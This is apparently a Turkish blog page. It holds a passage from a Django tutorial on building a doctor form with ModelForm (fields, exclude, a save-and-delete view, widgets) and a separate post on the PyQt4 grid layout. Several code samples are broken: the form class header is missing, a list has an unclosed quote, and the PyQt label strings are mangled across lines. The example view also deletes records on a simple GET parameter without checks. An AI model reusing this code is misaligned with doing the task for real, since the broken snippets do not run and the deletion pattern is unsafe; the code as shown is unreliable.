Şunu da söyleyelim; her form uygulaması bir modele sahip olmak zorunda değildir. Yani elimizde bulunan bir form veritabanı ile iletişime geçmek zorunda değildir. Örneğin; oluşturduğumuz bir iletişim formunda veritabanına ekleme işlemi yerine doğrudan mail atma işlemi yaparız. Bu kullanımda form bir modele sahip olmadığı için bu kullanıma örnek olmayacaktır. Formunu kendimiz tasarlamak zorundayız. Şimdi daha önce oluşturduğumuz DoktorFormu'nu modeller üzerinden oluşturalım.
from django.forms import ModelForm
from models import *
 class Meta:
  model = Doktor
                fields = ['adi','soyadi','yas','telefon','eposta']
 def clean_telefon(self):
  tel = self.cleaned_data['telefon']
  if tel != "":
   if len(tel) != 11:
    raise forms.ValidationError('Telefon numarasi 11 karakter olmalidir.')
  return tel
Gördüğünüz gibi işlemimiz ne kadar basit. Yapmamız gereken tek şey model özelliğine oluşturmuş olduğumuz modeli atamak. Hepsi bu. Burada kullandığımız fields özelliği ile model içerisinde olan alanlardan form içerisinde gözükmesini istediklerimizi belirtiyoruz. Eğer fields özelliğini kullanmazsak tüm alanlar form içerisinde olacaktır. Şu şekilde değiştirirsek.
fields = ['adi','soyadi']
Artık tarayıcıdan doktor-ekle adresine gidersek çıktı şu şekilde olacaktır.
fields özelliğinin tam tersi olarak exclude özelliği ile gözükmesini istemediğimiz alanları belirtiriz.
class Meta:
  model = Doktor
        exclude = ['telefon','eposta]
Bu kullanımda form içerisinde telefon ve eposta alanları gözükmeyecektir.
Oluşturmuş olduğumuz Doktor modelini bir hatırlayalım.
class Doktor(models.Model):

 adi = models.CharField(max_length=50,verbose_name="Adınız")
 soyadi = models.CharField(max_length=50,verbose_name="Soyadınız")
 yas = models.IntegerField(blank=True,verbose_name="Yaşınız",validators=[
  MaxValueValidator(70),
  MinValueValidator(30)
  ]
 )
 telefon = models.CharField(max_length=50,blank=True,verbose_name="Telefon Numaranız")
 eposta = models.EmailField(blank=True,verbose_name="E-Posta Adresiniz")

 def __unicode__(self):
  return u'%s , %s ,%s' % (self.adi,self.soyadi,self.eposta)
Modelde alanlara verbose_name argümanını eklediğimizi fark etmişsinizdir. Bu alan modellerden form oluşturulduğu zaman form alanlarına ait etiketleri niteler. Yani artık formdaki alanlar aşağıdaki gibi olacaktır.
Formları bu şekilde kullanmanın bir başka güzelliğine gelelim. Görünümlerde kullandığımız form nesnelerinin kaydetme özelliği vardır. Yani artık verileri alıp veritabanına kaydetmek ile uğraşmak zorunda değiliz. Django bunu bizim için yapacak.
doktor_ekleme formunu şu hale getiriyoruz.
def doktor_ekleme(request):
 doktorID = request.GET.get('id')
 if doktorID:
  try:
   doktor = Doktor.objects.get(id=doktorID)
   form = DoktorFormu(instance=doktor)
  except:
   return HttpResponse(u'Aradığınız doktor bulunamadı. ID= %s' % (doktorID))

 if request.GET.get('sil'):
  doktor.delete()
  return HttpResponseRedirect('/doktorlar/')

 if request.method == 'POST':
  if doktorID:
   form = DoktorFormu(request.POST,instance=doktor)
  else:
   form = DoktorFormu(request.POST)
  if form.is_valid():
   form.save()
   return HttpResponseRedirect('/doktorlar/')
 else:
  if doktorID:form = DoktorFormu(initial=doktor.__dict__)
  else: form = DoktorFormu()

 return render_to_response('form.html',
        {'form':form,'baslik':'Doktor İşlemleri'},
        context_instance = RequestContext(request))
İşler biraz daha kolaylaştı değil mi?
Varsayılan Değerleri Değiştirme
Modelde bulunan bir CharField form içerisinde <input type="text"> alanı oluşturacaktır. Örneğin Hasta modeli içerisinde açıklama alanı olduğunu düşünürsek. Bu alanın <textarea> olmasını isteyebiliriz. Bu durumda widgets özelliğini kullanabiliriz. Hasta modeli içerisinde açıklama alanı olduğunu düşünürsek şu şekilde bir kullanım işimizi görecektir.
class HastaFormu(ModelForm):
    class Meta:
        model = Hasta
        widgets = {
        'aciklama': Textarea(attrs={'cols':35,'rows':5}),
        }

Kaynakça

7 Mayıs 2014 Çarşamba

PyQt Grid Layout (Izgara Pencere Düzeni)

       Grid Layout yani Izgara Düzeni kareli bir defter gibi düşünülebilir. Temelde her bir karenin içerisine bir parçacık alabilir şekilde düşünebilirsiniz. Bu düzende ayrıca iki veya daha fazla kareyi bir parçacık için de kullanabiliriz. Örneğin birinci satır birinci sütuna ve ikinci satır birinci sütuna birer buton koyup ikinci sütunda ise ilk ve ikinci satırın tamamını kaplayacak şekilde label koyabiliriz. Şekil ile göstermek gerekirse:
Şekle bakıldığında parantezler içinde bazı değerler görülmektedir. Bir parçacık bu pencere düzenine eklenirken bu değerler şu anlama gelmektedir:

addWidget(eklenecek parçacık, başlangıç satırı, başlangıç sütunu, satır genişliği, sütun genişliği)

Yani parametreleri açıklamak gerekirse; ilk parametre ızgara düzenine eklemek istediğimiz parçacığı, başlangıç satırı ve başlangıç sütunu diye belirttiğimiz parametreler bu parçacığın hangi satır ve sütunda olacağını, satır ve sütun genişliği ise başlangıç satırından ve başlangıç sütunundan itibaren parçacığın aşağıya ve sağa doğru kaç satırı ve sütunu kaplayacağını belirtmektedir. Eğer satır ve sütun genişliği 1 olacaksa, yukarıdaki şekilde butonlarda yazdığımız gibi bunu ayrıca parametre olarak belirtmeden de yazabiliriz.

       Bu bilgilendirmeyi de yaptıktan sonra yukarıdaki şekilde görülen tasarıma uygun bir kod yazalım. Bu kodda Labelimizde başlangıçta bir yazı bulunsun. İlk butonumuza tıkladığımızda yazımız değişsin hem de kırmızı olsun, ikinci butonumuza tıkladığımızda da yine yazımız değişsin ve bu kez de rengi mavi olsun.
Yazdığımız kod şöyle:

# !/usr/bin/env python
# -*- coding: cp1254 -*-

from PyQt4.QtGui import *
from PyQt4.QtCore import *

uygulama = QApplication([])
pencere = QWidget()

def kirmiziMetin():
    metin.setText('
Merhaba Dünyalı :)
') def maviMetin(): metin.setText('
Uygar Köroğlu
') metin = QLabel('
PythonDersleri.com
') butonKirmizi = QPushButton('Kırmızı') pencere.connect(butonKirmizi, SIGNAL('pressed()'), kirmiziMetin) butonMavi = QPushButton('Mavi') pencere.connect(butonMavi, SIGNAL('pressed()'), maviMetin) izgara = QGridLayout() izgara.addWidget(metin, 0, 1, 2, 1) izgara.addWidget(butonKirmizi, 0, 0) izgara.addWidget(butonMavi, 1, 0) pencere.setLayout(izgara) pencere.setWindowTitle('PyQt Grid Layout') pencere.setFixedSize(450, 150) pencere.show() uygulama.exec_()
Yazdığımız kodu çalıştırdığımızda karşımıza şöyle bir pencere gelecektir:

Burada sadece farklı olarak yazdığımız yani yeni görmüş olduğumuz kodlara değinmek istiyorum. kirmiziMetin() ve maviMetin() isimlerinde iki tane metot tanımladık, bu metotları kendilerine ait butona tıklandığında çağırarak metin isimli Labelımız üzerindeki değişiklikleri yaptıracağız. Butonlara ait sinyalleri yazarken bağlantılarının son kısımlarında ilgili metodu yazdık. Burada dikkat edilmesi gereken bir durum söz konusu. Burada metotların parantezlerini yazmıyoruz. Bu durum metoda herhangi bir parametre gönderemeyeceğimiz anlamına da geliyor.
Ayrıca pencere.setFixedSize(450, 150) satırı ile penceremizin boyutlarının parametrede belirttiğimiz değerlerde sabit olmasını istiyoruz. Yani program çalıştıktan sonra fare ile köşesine geldiğinizde yeniden boyutlandırmak için çıkan ok işareti gelmeyecek.

       Çalışma Sorusu: Yukarıda yapmış olduğumuz uygulamayı Labelı iki sütunu kaplayacak şekilde ilk satıra, ikinci satırın da birinci sütununa ve ikinci sütununa butonları yerleştirerek değiştirin.